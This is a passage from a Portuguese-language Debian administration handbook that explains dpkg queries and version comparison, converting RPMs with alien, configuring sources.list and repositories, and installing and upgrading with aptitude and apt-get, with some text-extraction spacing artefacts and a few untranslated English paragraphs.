DE VOLTA AO BÁSICO sintaxe dasopções

A maioria das opções sãodisponibilizadas na versão "longa" (umaou mais palavras relevantes, precedidasde traço duplo) ou de uma versão "curta"(uma única letra, geralmente a inicial deuma das palavras da versão longa,precedida de um traço). Esta convenção étão comum que é um padrão do POSIX.

Antes de concluir esta seção,salientamos que algumas opções do

dpkg podem consultar o banco dedados interno para obter informações.Mostrando a opção longa antes edepois a curta (que recebem,evidentemente, os mesmosargumentos) citamos --listfilespacote (ou -L), que lista os arquivosinstalados por este pacote; --searcharquivo (ou -S), que procura o pacoteque contém o arquivo; --statuspacote (ou -s), que mostra oscabeçalhos de um pacote instalado; --list (ou -l), que mostra a lista depacotes que o sistema conhece e seusestados de instalação; --contentsarquivo.deb (ou -c), que lista osarquivos no pacote debianespecificado; --info arquivo.deb

(ou -I), que mostra os cabeçalhos dopacote Debian.

Example 5.5. Várias consultas com odpkg

$ dpkg -L base-passwd

/.

/usr

/usr/share

/usr/share/doc-base

/usr/share/doc-base/users-and-groups

/usr/share/doc

/usr/share/doc/base-passwd

/usr/share/doc/base-passwd/users-and-groups.html

/usr/share/doc/base-passwd/changelog.gz

/usr/share/doc/base-passwd/users-and-groups.txt.gz

/usr/share/doc/base-passwd/copyright

/usr/share/doc/base-passwd/README

/usr/share/man

/usr/share/man/ja

/usr/share/man/ja/man8

/usr/share/man/ja/man8/update-passwd.8.gz

/usr/share/man/es

/usr/share/man/es/man8

/usr/share/man/es/man8/update-passwd.8.gz

/usr/share/man/man8

/usr/share/man/man8/update-passwd.8.gz

/usr/share/man/ru

/usr/share/man/ru/man8

/usr/share/man/ru/man8/update-passwd.8.gz

/usr/share/man/fr

/usr/share/man/fr/man8

/usr/share/man/fr/man8/update-passwd.8.gz

/usr/share/man/de

/usr/share/man/de/man8

/usr/share/man/de/man8/update-passwd.8.gz

/usr/share/man/pl

/usr/share/man/pl/man8

/usr/share/man/pl/man8/update-passwd.8.gz

/usr/share/base-passwd

/usr/share/base-passwd/passwd.master

/usr/share/base-passwd/group.master

/usr/sbin

/usr/sbin/update-passwd

$ dpkg -S /bin/date

coreutils: /bin/date

$ dpkg -s coreutils

Package: coreutils

Essential: yes

Status: install ok installed

Priority: required

Section: utils

Installed-Size: 14026

Maintainer: Michael Stone <[email protected]>

Architecture: i386

Multi-Arch: foreign

Version: 8.13-3.3

Replaces: mktemp, timeout

Depends: dpkg (>= 1.15.4) | install-info

Pre-Depends: libacl1 (>= 2.2.51-8), libattr1 (>= 1:2.4.46-8), libc6 (>= 2.7), libselinux1 (>= 1.32)

Conflicts: timeout

Description: GNU core utilities

This package contains the basic file, shell and text manipulation

utilities which are expected to exist on every operating system.

.

Specifically, this package includes:

arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp

csplit cut date dd df dir dircolors dirname du echo env expand expr

factor false flock fmt fold groups head hostid id install join link ln

logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc od

paste pathchk pinky pr printenv printf ptx pwd readlink rm rmdir runcon

sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test

timeout touch tr true truncate tsort tty uname unexpand uniq unlink

users vdir wc who whoami yes

Homepage: http://gnu.org/software/coreutils

$ dpkg -l 'b*' | head

Desired=Unknown/Install/Remove/Purge/Hold

| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend

|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)

||/ Nome Versão Arquitectura Descrição

+++-====================================-==================================-============-==============================================================================

un backupninja <nenhuma> (nenhuma descrição disponível)

rc baobab 3.4.1-1 i386 GNOME disk usage analyzer

un base <nenhuma> (nenhuma descrição disponível)

un base-config <nenhuma> (nenhuma descrição disponível)

ii base-files 7.1 i386 Debian base system miscellaneous files

$ dpkg -c /var/cache/apt/archives/iceweasel_2.0.0.18-0etch1_i386.deb

drwxr-xr-x root/root 0 2008-11-23 23:18 ./

drwxr-xr-x root/root 0 2008-11-23 23:16 ./etc/

drwxr-xr-x root/root 0 2008-11-23 23:18 ./etc/iceweasel/

drwxr-xr-x root/root 0 2008-11-23 23:18 ./etc/iceweasel/profile/

-rw-r--r-- root/root 7138 2006-08-19 08:04 ./etc/iceweasel/profile/bookmarks.html

-rw-r--r-- root/root 153 2006-09-14 19:13 ./etc/iceweasel/profile/localstore.rdf

-rw-r--r-- root/root 3287 2005-02-01 18:36 ./etc/iceweasel/profile/search.rdf

-rw-r--r-- root/root 287 2004-11-30 22:26 ./etc/iceweasel/profile/mimeTypes.rdf

drwxr-xr-x root/root 0 2008-11-23 23:18 ./etc/iceweasel/profile/chrome/

-rw-r--r-- root/root 1078 2004-11-30 22:26 ./etc/iceweasel/profile/chrome/userChrome-example.css

-rw-r--r-- root/root 663 2004-11-30 22:26 ./etc/iceweasel/profile/chrome/userContent-example.css

-rw-r--r-- root/root 347 2004-07-28 23:20 ./etc/iceweasel/profile/prefs.js

-rw-r--r-- root/root 53 2008-11-23 22:43 ./etc/iceweasel/iceweaselrc

[...]

$ dpkg -I /var/cache/apt/archives/iceweasel_10.0.12esr-1_i386.deb

novo pacote debian, versão 2.0.

1459584 bytes de tamanho: arquivo de controle=4856 bytes.

762 bytes, 16 linhas conffiles

787 bytes, 13 linhas control

9242 bytes, 112 linhas md5sums

1158 bytes, 32 linhas * postinst #!/bin/sh

395 bytes, 13 linhas * postrm #!/bin/sh

167 bytes, 7 linhas * preinst #!/bin/sh

387 bytes, 14 linhas * prerm #!/bin/sh

Package: iceweasel

Version: 10.0.12esr-1

Architecture: i386

Maintainer: Maintainers of Mozilla-related packages <[email protected]>

Installed-Size: 6430

Depends: libc6 (>= 2.4), libgdk-pixbuf2.0-0 (>= 2.22.0), libglib2.0-0 (>= 2.16.0), libgtk2.0-0 (>= 2.10), libnspr4 (>= 2:4.9-2~) | libnspr4-0d (>= 1.8.0.10), libstdc++6 (>= 4.1.1), fontconfig, procps, debianutils (>= 1.16), xulrunner-10.0 (>= 10.0.12esr-1), libsqlite3-0 (>= 3.7.12-1~)

Suggests: fonts-stix | otf-stix, mozplugger, libgssapi-krb5-2 | libkrb53

Provides: gnome-www-browser, www-browser

Section: web

Priority: optional

Description: Web browser based on Firefox

Iceweasel is Firefox, rebranded. It is a powerful, extensible web browser

with support for modern web application technologies.

INDO ALÉM Comparação de versões

Como o dpkg é o programa paramanipular pacotes Debian, ele também é a

implementação de referência da lógica decomparar números de versão. É por istoque ele tem uma opção --compare-versions, usada por programas externos(principalmente scripts de configuraçãoexecutados pelo próprio dpkg). Estaopção precisa de três parâmetros: umnúmero de versão, um operador decomparação e um segundo número deversão. Os operadores são lt (menor que"lower than"), le (menor ou igual "lessthan or equal to"), eq (igual "equal"), ne(diferente "not equal"), ge (maior ou igual"greater than or equal to") e gt (maior que"strictly greater than"). Se a comparaçãoder correta, o dpkg retorna 0 (sucesso);senão, retorna um valor não-zero(indicando falha).

$ dpkg --compare-versions 1.2-3 gt 1.1-4

$ echo $?

0

$ dpkg --compare-versions 1.2-3 lt 1.1-4

$ echo $?

1

$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1

$ echo $?

1

Observe a falha inesperada da últimacomparação: para o dpkg, prenormalmente significa uma pre-release("pré-lançamento") e não tem umsignificado especial, e este programacompara as letras da mesma forma que osnúmeros (a <b <c ...), em ordemalfabética. É por isto que ele considera“0pre3” como sendo maior que “0”.Quando nós temos um número de versãode pacote para indicar que é um pré-lançamento, usamos o til, “~”:

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1

$ echo $?

0

5.4.4. Arquivo de logdo dpkgUma funcionalidade recém introduzidano dpkg é que ele mantém um log detodas as suas ações em/var/log/dpkg.log. Este log éextremamente verborágico ("verbose"),pois detalha todos os passos damanipulação de pacotes pelo dpkg.Adicionalmente a oferecer uma formade rastrear o comportamento do dpkg,ele ajuda, sobretudo, a manter umhistórico do desenvolvimento do

sistema: pode-se encontrar o exatomomento em que cada pacote foiinstalado ou atualizado, e estainformação pode ser extremamente útilpara entender uma mudança decomportamento recente.Adicionalmente, com todas as versõessendo registradas, é fácil cruzar osdados com a informação emchangelog.Debian.gz para o pacoteem questão, ou mesmo com bug reportsonline.

5.5. Coexistenciacom outrossistemas depacotesPacotes Debian não são os únicospacotes de software usados no mundodo software livre. O principalcompetidor é o formato RPM para oRed Hat Linux e seus muitos derivados.Red Hat é uma distribuição comercialmuito popular. É comum para softwarefornecido por terceiros ser oferecidocomo pacotes RPM ao invés de pacotes

Debian.

Neste caso, saiba que o programa rpm,que manipula pacotes RPM, estádisponível como um pacote Debian,portanto é possível usar este formatode pacote no Debian. Deve-se tomarcuidado, entretanto, para limitar estasmanipulações ao extrair a informaçãode um pacote ou verificar suaintegridade. É, na verdade, sem sentidousar o rpm para instalar RPMs emsistemas Debian; O RPM usa seupróprio banco de dados, separado dosoftware nativo (como o dpkg). É poristo que não é possível garantir umacoexistência estável dos dois sistemasde pacotes.

Por outro lado, o utilitário alien podeconverter pacotes RPM em pacotesDebian, e vice-versa.

COMUNIDADE Encorajando a adoçãode .deb

Se você usa regularmente o programaalien para instalar pacotes RPM dos seusfornecedores, não hesite em escrever paraeles e amigavelmente expressar sua fortepreferência pelo formato .deb. Observeque o formato do pacote não é tudo: umpacote .deb construído com o alien oupreparado para uma versão do Debiandiferente da que você usa, mesmo sendouma derivada como o ubuntu,provavelmente não vai oferecer o mesmonível de qualidade e integração que umpacote feito especificamente para o

Debian Squeeze.

$ fakeroot alien --to-deb phpMyAdmin-2.0.5-2.noarch.rpm

phpmyadmin_2.0.5-2_all.deb generated

$ ls -s phpmyadmin_2.0.5-2_all.deb

64 phpmyadmin_2.0.5-2_all.deb

Você vai perceber que este processo éextremamente simples. Você devesaber, entretanto, que o pacote geradonão vai ter quaisquer informaçõessobre dependências, já que asdependências nos dois formatos deempacotamento não têm umacorrespondências sistemática. Oadministrador, então, deve garantirmanualmente que o pacote convertidovai funcionar corretamente, e é por isto

que os pacotes Debian gerados destejeito devem ser evitados o máximopossível. Felizmente, o Debian tem amaior coleção de pacotes de todas asdistribuições, e provavelmentequalquer coisa que você procurar vaiencontrar.

Procurando na página man do comandoalien, você vai notar também que esteprograma também manipula comoutros formatos de pacote,especialmente o usado peladistribuição Slackware (é feito por umsimples arquivamento tar.gz).

A estabilidade do programa publicadousando a ferramenta dpkg contribui

para a fama do Debian. O conjunto deferramentas APT, descrito no capítuloseguinte, preserva esta vantagem,enquanto libera o administrador degerir o status dos pacotes, uma tarefadifícil, porém necessária.

Chapter 6. Manutençõese atualizações: Asferramentas APTO que faz o Debian tão popular comadministradores é o quão facilmenteum programa pode ser instalado e oquão facilmente o sistema inteiro podeser atualizado. Essa vantagem única éamplamente devido ao programa APT,características quais osadministradores da Falcot Corpestudaram com entusiasmo.

APT é a sigla de Advanced Package

Tool (ferramenta de pacotes avançada).O que faz dele "avançado" é suaabordagem quanto a pacotes. Ele nãoos avalia individualmente, masconsidera-os como um todo e produz asmelhores combinações de pacotespossível dependendo do que estádisponível e compatível (de acordocom as dependências).

VOCABULÁRIO fonte do pacote epacote fonte

A palavra origem (fonte) pode serambígua. Um pacote de origem (fonte) -um pacote contendo o código fonte de umprograma - não deve ser confundido comorigem (fonte) do pacote - um repositório(site de internet, servidor FTP, CD-ROM,

diretório local, etc.) o qual contémpacotes.

O APT precisa que lhe seja dada uma“lista de fontes de pacotes”: o arquivo/etc/apt/sources.list listará osdiferentes repositórios (ou "fontes")que publicam pacotes Debian. O APTirá então importar a lista de pacotespublicados por cada uma destas fontes.Isto é feito baixando o arquivoPackages.gz ou o Packages.bz2 (nocaso de uma fonte de pacotes binários)e o arquivo Sources.gz ouSources.bz2 (no caso de uma fontesde pacotes código-fonte) e analizandoseus conteúdos. Quando uma cópia

antiga destes arquivos já estiverpresente, o APT poderá atualizar elabaixando apenas diferenças (veja abarra lateral DICA Atualizaçãoincremental).

DE VOLTA AO BÁSICO gzip, bzip2,LZMA e XZ Compressão

Uma extensão .gz se refere a um arquivocomprimido com o utilitário gzip. gzip é outilitário tradicional do Unix rápido eeficiente para comprimir arquivos.Ferramentas mais novas conseguem taxasde compressão melhores mas precisam demais tempo de cálculo para comprimir umarquivo. Entre elas e por ordem desurgimento, estão bzip2 (gerandoarquivos com a extensão .bz2), lzma(gerando arquivos .lzma) e xz (gerando

arquivos .xz).

6.1. Preenchendono arquivosources.list

ArquivoCada linha ativa do arquivo/etc/apt/sources.list contém adescrição da origem, feita de 3 partesseparadas por espaços.

O primeiro campo indica o tipo da

origem:

“deb” para pacotes binários,“deb-src” para pacotes de códigofonte.

O segundo campo dá a URL base daorigem (combinado com os nomes dearquivo presentes nos arquivosPackages.gz, deve dar uma URLcompleta e válida): isto pode consistirno mirror Debian ou em qualquer outroarchive de pacote configurado porterceiros. A URL pode começar comfile:// para indicar uma origem localinstalada na hierarquia de arquivos dosistema, com http:// para indicaruma origem acessível via um servidor

web, ou com ftp:// para uma origemdisponível num servidor FTP. A URLpode começar com cdrom:// parainstalações baseadas em CD-ROM,embora isto seja menos frequente, jáque métodos baseados em rede estãocada vez mas comuns.

A sintaxe do último campo depende daorigem corresponder a um espelhoDebian ou não. No caso de ser umespelho Debian, coloque o nome dadistribuição escolhida (stable,testing, unstable ou seus codinomesatuais — veja a lista na barra lateralCOMUNIDADE Bruce Perens, um lídercontroverso), então as seções parahabilitar (escolhidas entre main,

contrib e non-free). Em todos ououtros casos, simplesmente indicar osubdiretório da origem desejada(Geralmente é um simples “./” que serefere à ausência de um subdiretório —os pacotes ficam então diretamente naURL especificada).

VOCABULÁrio Os arquivos main,contrib e non-free

O Debian utiliza três seções paradiferenciar os pacotes de acordo com otipo de licença escolhida pelos autores decada trabalho. Main (o arquivo principal)contém todos os pacotes que estãocompletamente de acordo com o DebianFree Software Guilines.

O arquivo non-free é diferente porque

contém programas os quais não estão(completamente) confirmo estesprincípios mas os quais que mesmo assimpodem ser distribuídos sem restrições.Este arquivo, o qual não é parte oficial doDebian, é um serviço para os usuários quepoderiam precisar de alguns dessesprogramas - entretanto o Debian semprerecomenda dar prioridade as programaslivres. A existência dessa seçãorepresenta um problemas considerávelpara Richard M. Stallman e mantém a FreeSoftware Foundation de recomendar oDebian para os usuários.

Contrib (contribuições) é um estoque deprogramas de código aberto que nãopodem funcionar sem um elemento nãolivre. Estes elementos podem serprogramas da seção non-free, ou arquivosnão livres como as ROMs de jogos, BIOS

de consoles, etc. Contrib também incluíprogramas livres que a compilaçãonecessita de elementos proprietários. Estefoi inicialmente o caso da suíte deescritório OpenOffice.org, o qualnecessitava um ambiente javaproprietário.

Geralmente, o conteúdo padrão doarquivo sources.list pode ser oseguinte:

Example 6.1. /etc/apt/sources.listarquivo# Atualizações de Segurança

deb http://security.debian.org/ stable/updates main contrib non-free

deb-src http://security.debian.org/ stable/updates main contrib non-free

# Espelho Debian

deb http://ftp.debian.org/debian stable main contrib non-free

deb-src http://ftp.debian.org/debian stable main contrib non-free

Este arquivo lista todas as fontes depacotes associadas com a versãoestável do Debian. Se você gosta deusar a Testing ou a Unstable, você terá,obviamente, que adicionar (ousubstituir) as linhas apropriadas.Quando a versão desejada de um pacoteestiver disponível em vários espelhos,o primeiro listado no arquivosources.list será usado. Por isto,fontes de pacotes não oficiais sãonormalmente adicionadas no final doarquivo.

DICA /etc/apt/sources.list.d/*.listarquivos

If many package sources are referenced,it can be useful to split them in multiplefiles. Each part is then stored in/etc/apt/sources.list.d/filename.list

(see sidebar DE VOLTA AO BÁSICODiretórios terminados em .d).

OLHADA RÁPIDA apt-spy

Este software teste a velocidade dedownload para vários espelhos Debian egera um arquivo sources.list que apontapara o espelho mais rápido.

O espelho selecionado durante ainstalação é geralmente adequado já quesua seleção é baseada no país. Entretanto,se o download é lento, ou você se mudou,você pode rodar a aplicação disponívelno pacote apt-spy.

O arquivo sources.list contémvários outros tipos de entradas: algunsdescrevem os CD-ROMs do Debianque você tem. Ao contrário de outrasentradas, um CD-ROM não está sempredisponível já que ele tem que serinserido no drive e só pode ser lido umdisco por vez — consequentemente,estas fontes são geridas de uma formalevemente diferente. Estas entradasprecisam ser adicionadas com oprograma apt-cdrom, normalmenteexecutado com o parâmetro add. Esteentão vai precisar que o disco sejainserido no drive e vai navegar pelodisco em busca de arquivos Packages.Ele vai utilizar estes arquivos para

atualizar seu banco de dados dearquivos disponíveis (isto énormalmente feito pelo comandoaptitude update). A partir daí, o APTpode pedir que o disco seja inserido seele precisar de um de seus pacotes.

6.1.1. Outrosrepositórios OficiaisDisponíveis

6.1.1.1. atualizações daStable

Depois de publicada, a distribuição

Stable é atualizada emaproximadamente de dois em doismeses para integrar as atualizações desegurança publicadas nosecurity.debian.org.

Este lançamento menor também podeincluir atualizações de pacotes queevoluíram ao longo do tempo... comoas regras de detecção de spam dospamassassin, o banco de dados devírus do clamav ou as regras de horáriode verão de todos os fusos horários do(tzdata).

Todas estas atualizações sãopreparadas num repositório conhecidocomo proposed-updates. Qualquer

um pode usar este repositório paratestar estas atualizações antes de suapublicação oficial. O trecho abaixo usao alias squeeze-proposed-updatesque tanto é mais explícito quanto maisconsistente, uma vez que o lenny-proposed-updates também existe(para as atualizações do Oldstable):

deb http://ftp.debian.org/debian squeeze-proposed-updates main contrib non-free

Depois de prontas, as atualizações maisimportantes — aquelas que não podemesperar para o próximo pequenolançamento do Debian — sãopublicadas no repositório stable-updates (que espera-se que a maioriados sistemas usem):

deb http://ftp.debian.org/debian stable-updates main contrib non-free

6.1.1.2. Os retroportes("Backports") debackports.debian.org

Obviamente, o servidorbackports.debian.org hospeda “backports de pacotes”. O termo serefere a um pacote de algum softwarerecente que foi recompilado para umadistribuição antiga, geralmente para aStable. Quando a distribuição começa aenvelhecer, vários projetos de softwarelançam novas versões que não sãointegradas na Stable atual (que émodificada apenas para resolver os

problemas mais críticos, comoproblemas de segunrança). Como asdistribuições Testing e Unstable podemser mais arriscadas, alguns voluntáriosoferencem recompilações de softwarerecente para a Stable, que tem avantagem de limitar instabilidadepotencial a um pequeno número depacotes escolhidos.

→ http://backports.debian.org/

A entrada para o backports nosources.list voltada para adistribuição Squeeze é a seguinte:

deb http://backports.debian.org/debian-backports squeeze-backports main contrib non-free

6.1.1.3. O repositórioexperimental

O arquivamento dos pacotesExperimental existe em todos osespelhos Debian, e contém pacotes quenão estão na versão Unstable "yetbecause" de sua baixa qualidade — elessão às vezes versões emdesenvolvimento ou pré-versões (alfa,beta, candidatos a lançamento…). Umpacote pode também ser enviado paralá depois de mudanças que possamgerar problemas. O mantenedor entãotenta "uncover them" com a ajuda deusuários avançados que possam lidarcom questões importantes. Depois

deste primeiro estágio, o pacote émovido para a Unstable, onde elealcança uma audiência muito maior eonde ele será testado em detalhes.

A Experimental é geralmente usada porusuário que não se importam emquebrar o seu sistema e ter queconsertá-lo. Esta distribuição dá apossibilidade de importar um pacoteque o usuário queira testar ou usarquando surge uma necessidade. Esta éexatamente a abordagem do Debian, jáque adicionar a Experimental aoarquivo sources.list do APT nãoleva ao uso sistemático destes pacotes.A linha a ser adicionada é:

deb http://ftp.debian.org/debian experimental main contrib non-free

6.1.2. Recursos nãooficial: apt-get.org ementors.debian.net

Existem várias fontes não-oficiais depacotes Debian configuradas porusuários avançados que recompilaramalgum software, por programadoresque tornam seus produtos disponíveispara todos, e até mesmo pordesenvolvedores Debian que oferecempré-versões de seus pacotes on-line.Um sítio web foi configurado parafacilitar a busca destas fontesalternativas. Ele contém umaimpressionante quantidade de fontes de

pacotes Debian que podem serimediatamente integrados nos arquivossources.list. Entretanto, sejacauteloso para não adicionar pacotesaleatórios. Cada fonte é feita para umaversão particular do Debian (aquelausada para compilar os pacotes emquestão); cada usuário deve manteruma certa coerência no que ele escolheinstalar.

→ http://www.apt-get.org/

O sítio mentors.debian.net tambémé interessante, já que ele "gather"pacotes criados por candidatos aostatus de desenvolvedor Debian oficialou por voluntários que desejam criar

pacotes Debian sem passar peloprocesso de integração. Estes pacotessão disponibilizados sem qualquergarantia de qualidade; certifique-se deverificar a origem e a integridade efazer testes antes de usar em produção.

COMUNIDADE Os sítios debian.net

O domínio debian.net não é um recursooficial do projeto Debian. Cadadesenvolvedor Debian pode usar estedomínio para seu próprio uso. Estes sítiospodem conter serviços não-oficiais(algumas vezes sítios pessoais)hospedados numa máquina que nãopertence ao projeto e que foramconfigurados por desenvolvedoresDebian, ou podem conter protótiposprestes a irem para o debian.org. Duas

razões podem explicar por que algunsdestes protótipos permanecem nodebian.net: ou por que ninguém fez oesforço necessário para transformar acoisa num serviço oficial (hospedado nodomínio debian.org, e com uma certagarantia de manutenção), ou o serviço émuito controverso para ser oficializado.

Instalar um pacote significa darpermissões de root para seu criador,por que o criador decide o que fica nosscripts de inicialização que rodam coma identidade do root. Pacotes Debianoficiais são criados por voluntários quecooperam e revisam e que marcam seuspacotes de forma que a origem eintegridade deles possam ser

verificada.

Em geral, fique alerta com pacotes cujaorigem você não conhece e que não sãohospedados em um dos servidoresDebian oficiais: avalie o grau em quevocê confia no criador, e verifique aintegridade do pacote.

→ http://mentors.debian.net/

INDO ALÉM versões de pacotes antigas:snapshot.debian.org

Um novo serviço (introduzido em abril de2010) pode ser usado para "voltar notempo" e encontrar uma versão antiga deum pacote. Ele pode ser usado porexemplo para identificar que versão deum pacote introduziu uma regrassão, e

mais concretamente, para voltar à versãoanterior enquanto espera que a regressãoseja corrigida.

6.2. Comandosaptitude e apt-getAPT é um projeto amplo, cujos planosoriginais incluem uma interfacegráfica. Ele é baseado numa bibliotecaque contém as aplicações principais, eo apt-get é a primeira interface — emlinha de comando — que foidesenvolvida dentro do projeto.

Várias outras interfaces gráficasapareceram como projetos externos:synaptic, aptitude (que tem umainterface modo texto e uma gráfica —que ainda não está completa), wajig,

etc. A interface mais recomendada,aptitude, é a usada durante a instalaçãodo Debian. Como a sua sintaxe de linhade comando é muito similar à do apt-get, vamos focar no aptitude nosexemplos dados nesta seção. Quandoexistirem diferenças substanciais entreo aptitude e o apt-get, estas diferençasserão detalhadas.

6.2.1. InitializaçãoPara qualquer trabalho com o APT, alista de pacotes precisa ser atualizada;isto pode ser feito simplesmente comaptitude update. Dependendo davelocidade de sua conexão, a operação

pode demorar um pouco, pois ela baixaalguns arquivos Packages.(gz|bz2)(ou até mesmo arquivos Sources.(gz|bz2)), que estão se tornandomaiores à medida em que o Debian vaise tornando maior (mais que 8 MB paraos últimos Packages.gz — da seçãomain). Obviamente, instalar de umconjunto de CD-ROMs não baixa nada— neste caso, a operação é bastanterápida.

6.2.2. Instalação eremoçãoCom o APT, os pacotes podem ser

adicionados ou removidos do sistema,respectivamente com aptitude installpacote e aptitude remove pacote. Emambos os casos, o APT vai instalarautomaticamente as dependênciasnecessárias ou apagar os pacotes quedependem do pacote que está para serremovido. Os comandos aptitudepurge pacote ou apt-get purgepacote envolvem uma desinstalaçãocompleta — os arquivos deconfiguração também são apagados.

DICA Instalando a mesma seleção depacotes diversas vezes

Pode ser útil instalar sistematicamente amesma lista de pacotes em várioscomputadores. Isso pode ser feito

facilmente.

Em primeiro lugar, recupere a lista depacotes instalados no computador queservirá como o "modelo" para copiar.

$ dpkg --get-selections >pkg-list

O arquivo pkg-list passa a conter a listados pacotes instalados. Em seguida,transfira o arquivo pkg-list para oscomputadores que você quer atualizar euse os seguintes comandos:

# dpkg --set-selections <pkg-list

# apt-get dselect-upgrade

O primeiro comando registra a lista depacotes que você gostaria de instalar, e achamada ao apt-get executa as operaçõesnecessárias! O aptitude não tem estecomando.

DICA Removendo e instalando aomesmo tempo

É possível pedir ao aptitude (ou apt-get)para instalar certos pacotes e removeroutros na mesma linha de comando aoadicionar um sufixo. Com um comandoaptitude install, adicione “-” a todos osnomes de pacotes que você precisaremover. Com um comando aptituderemove, adicione “+” para os nomes dospacotes que você precisa instalar.

O próximo exemplo mostra duas maneirasdiferentes de instalar package1 \t\neremover package2.

# aptitude install package1 package2-

[...]

# aptitude remove package1+ package2

[...]

DICA apt-get --reinstall e aptitudereinstall

O sistema pode, às vezes, ser danificadocom a remoção ou modificação dearquivos num pacote. A forma mais fácilde recuperar estes arquivos é reinstalar opacote afetado. Infelizmente, o sistema deempacotamento nota que o pacote estáinstalado e se recusa educadamente areinstalá-lo; para evitar isto, use a opção --reinstall do comando apt-get. ocomando abaixo reinstala o postfixmesmo quando ele já está presente:

# apt-get --reinstall install postfix

O aptitude em linha de comando éligeiramente diferente, mas atinge osmesmos resultados com aptitude reinstallpostfix.

O problema não ocorre com o dpkg, mas oadministrador raramente usa-odiretamente.

Seja cuidadoso, usando apt-get --reinstall para recuperar pacotes alteradosdurante um ataque com certeza nãotrazem o sistema ao que ele era.Section 14.6, “Lidando com uma máquinacomprometida” detalha os passosnecessários para lidar com um sistemacomprometido.

Se o arquivo sources.list mencionamuitas distribuições, é possível passara versão do pacote a instalar. Umnúmero de versão específico pode serpedido com aptitude installpacote=versão, mas indicar sua

destribuição de origem (Stable, Testingou Unstable) — com o aptitude installpacote/distribuição — énormalmente preferido. Com estecomando, é possível voltar a umaversão antiga do pacote (se porexemplo você sabe que isto vaifuncionar bem), desde que ela aindaesteja disponível em alguma das fontesreferenciadas pelo arquivosources.list. Por outro lado, oarquivamento snapshot.debian.orgpode vir ao seu socorro (veja a barralateral INDO ALÉM versões de pacotesantigas: snapshot.debian.org).

Example 6.2. Instalação da versãounstable do spamassassin# aptitude install spamassassin/unstable

APROFUNDANDO O cache dos arquivos.deb

APT mantém uma cópia de cada arquivo.deb baixado no diretório/var/cache/apt/archives/. Caso hajaatualizações frequentes, este diretóriopode rapidamente ocupar um grandeespaço em disco com várias versões decada pacote; você deve regularmentepassear por eles. Dois comandos podemser usados: aptitude clean limpacompletamente o diretório; aptitudeautoclean limpa apenas pacotes que nãopodem ser mais baixados (por teremsumido dos espelhos Debian) e são agoraclaramente inúteis(o parâmetro deconfiguração APT::Clean-Installed evitaa remoção de arquivos .deb que estãoatualmente instalados).

6.2.3. Atualização dosistemaatualizações ("upgrades") regulares sãorecomendados, pois eles incluem asúltimas atualizações de segurança. Paraatualizar, use aptitude safe-upgradeou apt-get upgrade (claro que depoisde um aptitude update). Este comandobusca pacotes instalados que possamser atualizados sem remover nenhumpacote. Em outras palavras, o objetivoé garantir uma atualização o menosinvasiva possível. apt-get é um poucomais pesado que aptitude por que ele

vai se recusar a instalar pacotes quenão estavam instalados antes.

DICA Atualização incremental

Como já explicado, o objetivo docomando aptitude update é baixar paracada fonte de pacotes o arquivo Packages(ou Sources) correspondente. Entretanto,mesmo depois de uma compressão combzip2, estes arquivos podem ficar muitograndes (o Packages.bz2 da seção mainda Squeeze ocupa mais de 8 MB). Se vocêquiser atualizar com frequencia, odownload pode tomar muito tempo.

Uma “nova funcionalidade” (disponíveldesde o Etch) é que o APT pode agorabaixar as mudanças desde o updateanterior, ao invés de todo o arquivo. para

isto, os espelhos oficiais do Debiandistribuem arquivos diferentes que listasas diferenças entre uma versão doarquivos Packages e a versão seguinte.Eles são gerados em cada atualização dosarquivamentos e um histórico de umasemana é guardadao. Cada um destesarquvios de "diff" apenas ocupam unspoucos kilobytes para a Unstable, deforma que a quatidade de dados baixadospor um aptitude update semanal é àsvezes dividida por 10. Para distribuiçõescomo a Stable e a Testing, que mudammenos, o ganho é ainda mais visível.

Entretanto, algumas vezes é interessanteforçar o download do arquivoPackages.bz2 todo, especialmente quandoa última atualização é muito antiga e omecanismo de diferenças incremental nãovai ajudar muito. Isto també pode ser

interessante quando o acesso à rede émuito rápido mas o processador damáquina que vai atualizar nem tanto, poiso tempo economizado para o download émaior que o perdido para juntar asversões dos arquivos (iniciando com aversão antiga e aplicando as diferençasbaixadas). Para fazer isto, você pode usaro parâmetro de configuraçãoAcquire::Pdiffs e configurar ele parafalse.

aptitude vai geralmente selecionar onúmero de versão mais recente (excetopara pacotes da Experimental, que sãonormalmente ignorados independentedo número de versão). Se vocêespecificar a Testing ou a Unstable emseu sources.list, aptitude safe-

upgrade vai trocar a maioria do seusistema Stable para Testing ouUnstable, que pode não ser o que vocêdeseja.

Para dizer ao aptitude para usar umadistribuição específica quandobuscando por pacotes para atualizar,você precisa usar a opção -t ou --target-release, seguida do nome dadistribuição que você quer (porexemplo: aptitude -t stable safe-upgrade). para evitar ficar usando estaopção toda vez que usa o aptitude,você pode adicionar a linhaAPT::Default-Release "stable";

no arquivo/etc/apt/apt.conf.d/local.

para upgrades mais importantes, comomudar de uma versão principal doDebian para a seguinte, você precisausar aptitude full-upgrade (esta opçãocostumava ser chamada dist-upgrade,de “distribution upgrade”). Com estainstrução, aptitude vai completar oupgrade mesmo se ele tiver queremover alguns pacotes obsoletos ouinstalar novas dependências. Estetambém é o comando usado pelosusuários que trabalham diariamentecom a versão Debian Unstable eseguem sua evolução dia após dia. Étão simples que dispensa explicações: areputação do APT é baseada nestafantástica funcionalidade.

aptitude dist-upgrade is still availableas a synonym for aptitude full-upgrade; apt-get only recognizes theformer.

6.2.4. Opções deconfiguraçãoBesides the configuration elementsalready mentioned, it is possible toconfigure certain aspects of APT byadding directives in a file of the/etc/apt/apt.conf.d/ directory.Remember for instance that it ispossible for APT to tell dpkg to ignorefile conflict errors by specifyingDPkg::Options { "--force-

overwrite"; }.

If the Web can only be accessedthrough a proxy, add a line likeAcquire::http::proxy

"http://yourproxy:3128". For anFTP proxy, writeAcquire::ftp::proxy

"ftp://yourproxy". To discover moreconfiguration options, read theapt.conf(5) manual page with thecommand man apt.conf (for details onmanual pages, see next chapter).

DE VOLTA AO BÁSICO Diretóriosterminados em .d

Directories with a .d suffix are used moreand more often. Each directory represents

